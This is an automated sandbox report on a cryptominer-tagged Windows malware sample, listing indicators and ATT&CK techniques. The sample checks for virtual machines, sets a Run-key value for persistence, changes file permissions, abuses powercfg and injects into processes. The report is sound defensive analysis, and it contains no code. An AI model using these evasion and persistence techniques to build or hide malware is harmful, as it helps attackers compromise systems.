xmrig | 66d39b6de52f0b2b2b85a241374c7717ecf7c376494868722bd85fe62f2b4e72

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v42.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v41.exe

Custom signature

UPX dump on OEP (original entry point) 2 IoCs

resource	yara_rule
behavioral1/memory/1416-57-0x00007FF609060000-0x00007FF609933000-memory.dmp	UPX
behavioral1/memory/1416-694-0x00007FF609060000-0x00007FF609933000-memory.dmp	UPX

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral1/memory/1416-694-0x00007FF609060000-0x00007FF609933000-memory.dmp	xmrig

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
20	1416	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3904	powershell.exe
4940	powershell.exe
1032	powershell.exe
1224	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 4 IoCs

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v42.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v41.exe

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
1324	icacls.exe
672	icacls.exe
860	takeown.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 5 IoCs

pid	Process
2496	Win-v42.exe
4828	Win-v43.exe
1416	cmd.exe
2136	svchost.exe
1012	Win-v41.exe

Modifies file permissions 1 TTPs 3 IoCs

File and Directory Permissions Modification

T1222

pid	Process
860	takeown.exe
1324	icacls.exe
672	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\v4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Explorer\\Win-v43.exe"	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Internet Connection Discovery

T1016.001

flow	ioc
14	api64.ipify.org
15	api64.ipify.org

Power Settings 1 TTPs 7 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
624	powercfg.exe
2108	powercfg.exe
1660	powercfg.exe
1508	powercfg.exe
4764	powercfg.exe
3440	powercfg.exe
2676	powercfg.exe

Drops file in System32 directory 20 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File created	C:\Windows\System32\Win-v42.exe	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D	lsass.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4652 set thread context of 1416	4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	134
PID 4652 set thread context of 2136	4652	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	136

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1416-57-0x00007FF609060000-0x00007FF609933000-memory.dmp	upx
behavioral1/memory/1416-694-0x00007FF609060000-0x00007FF609933000-memory.dmp	upx

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File created	C:\Windows\Win-v41.exe	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2772	cmd.exe
2004	cmd.exe
2180	cmd.exe
2608	cmd.exe
728	cmd.exe
620	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-11-08_47d7468bf068f52704cfd236d926e050_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cmd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
2608	cmd.exe
4416	PING.EXE

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

System Time Discovery

T1124

pid	Process
728	cmd.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02ciblnqlaaflltu	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02ciblnqlaaflltu	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "0018801AA81AA1AB"	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={03125DF7-F013-47A9-9FB9-422FD47BE9F7}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02ciblnqlaaflltu\AppIdList = "{AFDA72BF-3409-413A-B54E-2AB8D66A7826};"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId = "02ciblnqlaaflltu"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018801AA81AA1AB"	svchost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000ff85e015c02c8b4596e1891d7c13297a00000000020000000000106600000001000020000000a7c472ef6f6ca8c060287beed494792b37c362e7705fd485ee54183075cd0dbf000000000e8000000002000020000000e0e79fa7d68fe8a0605578fa51fef94523660c19670f77e10239d00ec1a2c02e000c00003f38862df3fca8e3d7a0ec728c9a1552a86794f89d0a9c6defa0f59a6403dbbdb8649153b106d20b24203c9186a61487f0d08b60903bba89715a246a35bf587232a09f2fe59fb54450a8b09343495d9ef17b712497b9584989bc6d45b9f1cc6a94120cb7eca4c3f6a618f2ef81a155d232a458ce73b4bac50b97127f81fc51d47341b949bdc320984de16f72cb30fd0bd4e4fb4e5982e019cab1a188cec66cf8757e89b5f180da06b4ed0ad4a9852a4217f19b7ffe2410acbad8d70ad8a92ee97a38aa3a082891c7a2fa71e640a26a5bbaa5a9fd4a1cd1e622753fdaecb01671ba81a7d3be2a3053ae1e139f56b8ad764dc486cf2fd9ddac5ad325f9cdfb73055dde5d55e29d701efae0825c0ab26a07843a286caf051f5eddd49f5f9889f97356d915a81d54e37fafe94500e8e2fbf5677a73f0b17ccdc7d963f21d45d95b0186804c2bcd73d3063f4dfe69007a6f4f59156ae4825b075b7397e2ffb276010364a29949c4e0b8b3d9369467020df6bef377ad060acdd74829c1adbd162ebfa2bdc5fc8c343506b6537cd14119395a41facee833b688b32d42339076302eff50d1ed41f816a1144a1dfd0badc2273c03abfa89ec50181bb65a0bb70b2398049711ecb4f5154bff26dacdff9183fac9c879383189995b0ed2ed774473da60f140da2b880013f0c281ab67cf189028a34f933ab6773db1746d715efa79d22ecebf4617f7fb173bbad49e66f17957d992957de911edcf574292a80f8ee1f68c1b0c267ecbd3dca2fe356edb72548db437f1c67dbefe4f19e38ebb9cf10c598591e847ab43d5e159318e8a1297bf0703c68af40a7e81433d9edd1520bf3b1518e29a93beaa9d6fb38dbd4410be5cc9b9fd26e90c4da191d57c34e8186afcbb53133491f33fa37eb385be0a7e001639d60fc21b3eddae7c06f934007c561896c30319ecd8c0e378fcabb8d5c304483d8564275a9dfc80add13c85db853f7b8a3a79bc5b4f58ac98e528417ad566753a664e8937f156faae6684fd4ac3aca0d2f4ee68cdf28b62c24e56483cc54e30e7ad967571ba308af574c2148dbad0c33b33a34f8b206dea28dbf7d89abd3a0db4e00696854c02dc01e7d2fc4f6a136ce6b028a4b2a7b1108be8feb85ff8052f9959325bc96487dd5bb2afded7c899e2c08d9b68e88f934b1f8340193ba594904998751befb9a5d88a24bb4a055d510c1868c4c3a8fbed0487c3b921d937a058d67869ae3e20c753bb3cb8e4c3504d4ce49c75bbeb9d4a1349672a40689710cb54924b4c8c1952028d9edd9aad3c6984d206796d878d0111c1d09f375a7c53a944f93aa8a23894c4ec9ad8c0b8fabf1c3f59aec560e17bc3abbf2387a5eb359a7130f3d146942d43080033136f2e34439c136b3195701912eb465e30432998afee198fb69d52886d8f2496b7e9ddf0e70ec2051334821f742a6b8445bb884efefebac69e88c8916d7e1db76b6a6e5898ea5a48e7dcdba1d10c334138fd607b707adf88ec82bb7bfa321ad6b80814acd934351d79693ea07ec458158fb795b9e407e1ee7531b225feabfa3ff8450dc02d22e4574fb710e3aa6097e9f87443de9b0845271f82c7ca231cb2ed50e84953582437a999bb87a6c4028caf38c65b3811057a443e95c5b29a788bf1ab49210ec376c58b39c36c4f0ee4ed46f6b57cd876644b5e9777f662bd9158f2e497956d97cb9f801dd51447b4840c5878db7e2a563499072c49fce3267685f5d64ceb91ba048dbbe547b2403fc14b4a613f46ebcfd521438cced41d630d6b98d8b2501b42e7c384b7b0523428ffb2f77775df0408c690c4b12184b2914a2e8fa093b3fe51bd28da1485d93aa18ce0430a72ddb6cacca212efe086362b7743bc336a1869e23149defe0f40dab2fd99fd3712ecddb0deb892e23a8f3d4bf24cf160f56e1bda5dfe3d674da10d3abd8262ad85c0ab0fc7159f7573f765b4c42154947b73be46e8c1e2d5f4eba78b4d030d673babb196a4263f7d54c8eb68cfcbc29710ff85be45ac7bc8e6631c5207d40cf386ea6a5f92010ad753361c49395537ba74862070c3274717692c0f2325c7db1b5f1ab4628136dd1f4f7d652551417234e8d7043ef12c4777ce62ebe62ee08dc0a60cfbde881af1807641f10a6b4144270f11a4b9f59e1c73a4d771d078034971105d91a18fdc66f99ca41c4ff525cd8a3e2279c03b646c48af79eaec2ffd072971472766c57bd59026ea9092fe56051e386fc13c53e5a88f78f38f36adb82ddeee782a82693394204fae0b002680cfe1d2230aa05ebed04e22d7e76b668963eafc49f68e304a9416db2843031090522388cf650137c4e2cd0d0bb03c574622648b8fdc4ddef8bebb50fc8bb3d39fab1892fec227180616594381578301084eaf53faff70cc44c29c244222ef5ec8efae3b003e6cc5363debd2eecc6d7bf212902e94d29ad89b99a0492b5a442b5573878f210a7e40c8720dff17cf078da80a4b4a3f6fb5f4d926cb4193f4e348a387a50f350b94da36990f9c916f65ac7534893466b1e26f27e31f58621eae9a2dfee6596b2c2bf789fc41148678b6615cfb24e119b2f1e9f9be38590285ee614f91453e9460d682a5d44805be94a9de537923afa7ba45a2be4a2be6803a15a120721cab3abd9258ca602b27ade1c8e2eacf9642b251b43dad1ab7d5b49ea06d87fd64e479a387c18cc5b650c44c26589a0f16ab6c9a1843c7000f15ba830cd7e63258ce55c554d5dcb4f0c4e4ec30b1f83eef3e71d890f7c5edb69a4f8dd1089f3644b6160edd0678f1f7b258e08ff0f997e5ce753697e43f5f6e2e03c14ee9df74981c5d06c2996e6c8e53386e3ba5d1a0a7d0856570cac1d0deb46d1ac47360190a2bc7a69a3ec0b819c1b374e0e066589bd0b734c3f028fccabd2182524e0685fa674045471990d415782007b65983df25937d26d314ceaa85c13893058efb8249ecf9544979414aa2761914381790b772fd5663ea410ff5064d370205f73890b872aa49313e57a0d30d2d85f28fc275c0085f4f41cb5095e4f433759db354a344d0784db8fbf7a235f51b2aed261c2c37ffac1d5eb7b31a4ed721a9d958a65a2111e6e6b8b08590174f24bc133647d8ab573ca4f8a2185c36bc5f35a5b891337f4a15aded329309a0c22013718ccf7f83dd7131e8747314c64448ad81ab2a04da1acd58578a8dd8255a8744fc1d2cc755f94ab34fe66001741486b50b0bbc64c32c76796065203612752abbf9c59166f40ce1c4267936d2f3db0d04ae107e6621e38bcc2090c4b9be852b64c61707f8d06ba6c6c7b9a951edea8e4412c36155b69b9c6afd0cd4a71a466042b958e6ddaf8afe226144cde5c9efdde26e981457974d195db912c51d6ccd642e4a803efdf87b5aef57dadbd5aab27978fb1e442db67476ae077278aa4f8ccef0f8b513d509ad8852e35a1c9ee2630cc9eb70d061afc353f4ca2ab7c75b3a729e5ff0dfa0c6b49a0d34e14ae20793afd35e969d78dfe63bf2fcde3b95f4b6668a101a4a8184278b67756e5248a4d917f393c9b945e231c19b00cf4734aaf38c7f6d50a843be7caa45619545ef1b2c0a82671af1a28874e4a8149aa3d44bfec4b1fc2789fa20b82594c184249aafdde49949adb852ce1cfa0cd5f9b11c8c69822df72a1dacc10c91164effb1f946fd938b3e70dac5fd3f45f3591939c89c8e656b41cfce1590da25bcfe84cf43dc2264f52c6f1aefe71006557ec9d7711b8eb7f36854ba3bc255b66b0cf94d0c13344be545572a93075b5c8f94df0e94eec7d9b07c5cf12aadb636c927b47fa4156e71b09e0747455998681a4e3b29cb75b9482165a03cd72b1ee89a9cebabaa28b457657ccfa81f85eff6cfeca2617e91e03f94b0e9d58887987ca245f168b314833713ea36cf13c9f137ff5860cb3c790723a7f2e0f218c806016d65dd468ba221331acb787b5e9d61c0c10f561bc13053fe2f585f5234bdb00b6506171acb4fbe37e276c75184a1998eaf1cdf952d110a07fbf6f6b247678666c47895029d155ce300a5ce8331ac950e21563ba19d85c420452383442917a3f71c519418a9095cfef7e51ea7270bbc283a6b17288444d61220b0c2eedf005911dd52228c124c3d531b70966cde4c540744d1df4f8e27de3dd0cbdbed0c44b3b6030d3cc2b129b97740fc42d36f62d29f9878640c753dd0f394083ebc30a67e7814041ee3c9c2f3170a4bdd6947666701d4cfd55f8659f4e7db97f0b22f1f870310ec1bd16e9841fe674767c9763979a8e6f5d51a4871e2def78707819ace462ecf5696cbab7ebc8c9867c11d6e261dae9281e86da52b40000000f73711edd5255609bb1faadb4f83e764238c651010f8614c1de11eb60b95da182c981afd934afe532bcdea437c9a17b15d9cd4ef5c8b8fd6432adb082c04ea1e	mousocoreworker.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018801AA81AA1AB = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000ff85e015c02c8b4596e1891d7c13297a0000000002000000000010660000000100002000000011da84fa8165b75c9fef96d9c896f0b0493021f61e71dffae7e604c5235271cf000000000e8000000002000020000000684f8addfbc3b000bfc25c394974fb321a5a532f0670f9604ba47a944ea413b28000000058f211f8824850684cccf9304c92da6e4496b71163f3af61b3ad92ada942322dbb5a057e3104628d5fa0495a4854638ae041bee6b3f55c4993c8e9364f02f986ebdb073be4036f99f4736798a7df4089f863a387a6bcd52b0b5f7a5f18939adf4ad84feb3bd56f5f9f93fc4be5e508cf62787bbf1735941fefdc1fefc649fd0d40000000d543985b004379a16598b5625b57375e09fa7960b52538473cb4d5cfc6a577aaf88351b62030d4d4a746a8f1e8862920ef19519d1db1960ed2084ddaea0aff7d	mousocoreworker.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000ff85e015c02c8b4596e1891d7c13297a00000000020000000000106600000001000020000000e30e84e55dc14d6f66f9b7dda43f5dd03def47dc839801e7fccd134c165bb43d000000000e8000000002000020000000858545acfc67b3721ec9bdbdbc476241cf7e95a846a825bad563df3f9c372334000c0000f1ac4b7ab50fe1a98db59b691c73a74e2d9c0ba511915c05dc18aa87b239771fb1efd7f11def9418aca569b7d652643519f8da4fef8b2e5101b3e8dad401fbe327f91de290d8ac9dda5811eaccf0a48457d10dd6fb8c4edc2e0c71411ebf47417ce994285b75a125266394b0493940b40f624e23cdc104b6c943c14a0274725eaf8f3143e8a132c67394487c9b38305468d52179f3bfec507e8c863e0e44c5b6981777ba49aaaa915217a185464155128f65673b587c449960ebfbb5d9fd98d5ebe0ca6f704ad57ce5f38bc4434c70c61789500bbd07d1c60383d0b24af0cb3fb271a7ddf9ef98f3b036a322c45946608188f3392d13472092d2143468c194ce66d4b8691b0fb556c59bb52a167acf5f66386470c105c17d6f8de82178db9284b5fae395c9a0772a4bbc644de1f8f7fdeac34cbdd4e56e625bf7e388edd3d944fbe0ae3a7ba71e01f3b87f45426a61f48953506ca44ab9c8f55d15b37518692fff4184d26bf6cf0364406a05883cdbb0e7c997e60efcd6690cc6c16d05a092757df5a7c170caf3303c6840639b2555e3fdcad38148ea3208587964b8bfa6560e1098fed5c9643499e131e2b9441f557b169f68f435bb5467baaefb85576d09449d6c0bf80d53cf8ea5e879f00a8ec176cd950cdd3d563b57ecc0ca6d93265a693ad3602da7e63f4da47ddce01416245b3f2d4456adc68ffdff8703a7e223c3d400857356431eb3ef62544b1b1bea3046237c5baa519eb4ea683b089a5ad530c8bb0df2986b21b2aae700105cde199e41084a70be98a1160992dd46332bfed505b0c74a5d378c5013259a4eece6b673a9381f651c6905a8